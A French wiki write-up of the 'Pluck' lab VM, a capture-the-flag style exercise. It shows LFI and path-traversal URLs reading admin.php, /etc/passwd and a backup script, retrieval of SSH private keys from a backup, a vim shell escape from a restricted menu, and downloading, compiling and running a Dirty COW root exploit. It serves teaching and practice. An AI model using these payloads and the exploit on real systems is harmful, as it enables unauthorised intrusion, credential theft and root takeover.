Outils pour utilisateurs

Outils du site


vm:pluck

Pluck - Write Up

Reconnaissance

nmap -sS -A 192.168.43.99
 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     (protocol 2.0)
 
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
 
3306/tcp open  mysql   MySQL (unauthorized)

Exploitation web

On repère rapidement une LFI dans la variable page.

On récupère la page admin.php avec un wrapper :

http://192.168.43.99/index.php?page=php://filter/read=convert.base64-encode/resource=admin.php

On décode le base64 du résultat :

echo 'PD9waHAKaW5jbHVkZSgiaGVhZGVyLnBocCIpOwoKZWNobyAiPGJyPjxicj48YnI+IjsKaWYgKCRfUE9TVCl7CmVjaG8gJwo8YnI+PGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBjb2wtbWQtb2Zmc2V0LTIiPgoKPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIiByb2xlPSJhbGVydCI+JzsKIAppZihzdHJwb3MoJF9QT1NUWydlbWFpbCddLCAnXCcnKSAhPT0gZmFsc2UpIHsKCWVjaG8gICI8c3Ryb25nPllvdSBoYXZlIGFuIGVycm9yIGluIHlvdXIgU1FMIHN5bnRheDsgY2hlY2sgdGhlIG1hbnVhbCB0aGF0IGNvcnJlc3BvbmRzIHRvIHlvdXIgTXlTUUwgc2VydmVyIHZlcnNpb24gZm9yIHRoZSByaWdodCBzeW50YXggdG8gdXNlIG5lYXIgJycnIGF0IGxpbmUgNjwvc3Ryb25nPiI7Cn1lbHNlewoJZWNobyAgIjxzdHJvbmc+SW5jb3JyZWN0IFVzZXJuYW1lIG9yIFBhc3N3b3JkITwvc3Ryb25nPiI7Cn0KPz4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+Cjw/cGhwCn0KPz4KPGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93IHZlcnRpY2FsLW9mZnNldC0xMDAiPgogICAgCTxkaXYgY2xhc3M9ImNvbC1tZC00IGNvbC1tZC1vZmZzZXQtNCI+CiAgICAJCTxkaXYgY2xhc3M9InBhbmVsIHBhbmVsLWRlZmF1bHQiPgoJCQkgIAk8ZGl2IGNsYXNzPSJwYW5lbC1oZWFkaW5nIj4KCQkJICAgIAk8aDMgY2xhc3M9InBhbmVsLXRpdGxlIj5BZG1pbjwvaDM+CgkJCSAJPC9kaXY+CgkJCSAgCTxkaXYgY2xhc3M9InBhbmVsLWJvZHkiPgoJCQkgICAgCTxmb3JtIGFjY2VwdC1jaGFyc2V0PSJVVEYtOCIgcm9sZT0iZm9ybSIgYWN0aW9uPSJhZG1pbi5waHAiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGZpZWxkc2V0PgoJCQkgICAgCSAgCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJFLW1haWwiIG5hbWU9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiB2YWx1ZT0iIj4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImNoZWNrYm94Ij4KCQkJICAgIAkgICAgPC9kaXY+CgkJCSAgICAJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tc3VjY2VzcyBidG4tYmxvY2siIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4KCQkJICAgIAk8L2ZpZWxkc2V0PgoJCQkgICAgICAJPC9mb3JtPgoJCQkgICAgPC9kaXY+CgkJCTwvZGl2PgoJCTwvZGl2PgoJPC9kaXY+Cgo8P3BocAppbmNsdWRlKCJmb290ZXIucGhwIik7Cj8+Cg==' | base64 -d > admin.php 
admin.php
<div class="alert alert-danger" role="alert">';
 
if(strpos($_POST['email'], '\'') !== false) {
	echo  "<strong>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6</strong>";
}else{
	echo  "<strong>Incorrect Username or Password!</strong>";
}
?>

On remarque que l'erreur sql sur l'authentification n'est qu'un troll

On récupère le /etc/passwd

http://192.168.43.99/index.php?page=../../../../../../../../../../etc/passwd

Sur la dernière ligne on peut lire :

/usr/local/scripts/backup.sh

On récupère le fichier backup.sh

http://192.168.43.99/index.php?page=../../../../../../../../../../usr/local/scripts/backup.sh
backup.sh
#!/bin/bash ######################## # Server Backup script # ######################## #Backup directories in /backups so we can get it via tftp echo "Backing up data" tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null echo "Backup complete" 

On se connecte en telnet sur la machine

telnet 192.168.43.99

On récupère le backup.tar

get /backups/backup.tar

Dedans deux dossiers : le /home et le /var/www/html

Dans le /home de l'utilisateur paul un dossier “keys” contient des clés privés et publiques.

total 56K
drwxr-xr-x 2 ark1nar ark1nar 4,0K janv. 18 19:09 .
drwxr-xr-x 3 ark1nar ark1nar 4,0K janv. 18 19:13 ..
-rwxr-xr-x 1 ark1nar ark1nar  668 janv. 18 19:08 id_key1
-rwxr-xr-x 1 ark1nar ark1nar  600 janv. 18 19:08 id_key1.pub
-rwxr-xr-x 1 ark1nar ark1nar  672 janv. 18 19:08 id_key2
-rwxr-xr-x 1 ark1nar ark1nar  600 janv. 18 19:08 id_key2.pub
-rwxr-xr-x 1 ark1nar ark1nar  668 janv. 18 19:08 id_key3
-rwxr-xr-x 1 ark1nar ark1nar  600 janv. 18 19:08 id_key3.pub
-rw------- 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key4
-rwxr-xr-x 1 ark1nar ark1nar  392 janv. 18 19:09 id_key4.pub
-rwxr-xr-x 1 ark1nar ark1nar  668 janv. 18 19:08 id_key5
-rwxr-xr-x 1 ark1nar ark1nar  600 janv. 18 19:08 id_key5.pub
-rwxr-xr-x 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key6
-rwxr-xr-x 1 ark1nar ark1nar  392 janv. 18 19:09 id_key6.pub

On essaye de se connecter avec les clé privés.

Seul id_key4 nous renvoie un message différent :

ssh paul@192.168.43.99 -i id_key4
 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0755 for 'id_key4' are too open.
It is recommended that your private key files are NOT accessible by others.
This private key will be ignored.
key_load_private_type: bad permissions
paul@192.168.43.99's password: 

On met les bons droits sur la clé :

chmod 600 id_key4

La connexion à l'utilisateur se fait sans demander le mot de passe.

Exploitation système & Élévation de privilège

On arrive dans un Pdmenu

On choisit l'option :“Edit File”

On essaye d’éditer n'importe quel fichier et c'est vim qui s'ouvre :

Une fonctionnalité de vim nous permet d'appeler un shell

:set shell ?
=> shell=/usr/bin/pdmenu 
:set shell=/bin/bash
:shell

On récupère la version du noyau :

paul@pluck:~$ uname -a
Linux pluck 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

Pour passer root nous allons utiliser l'exploit dirtycow

wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c

On le compile :

gcc cowroot.c -o cowroot -pthread

On l’exécute

./cowroot

Merci à l'auteur de la vm !

vm/pluck.txt · Dernière modification: 2017/03/30 14:16 par arkinar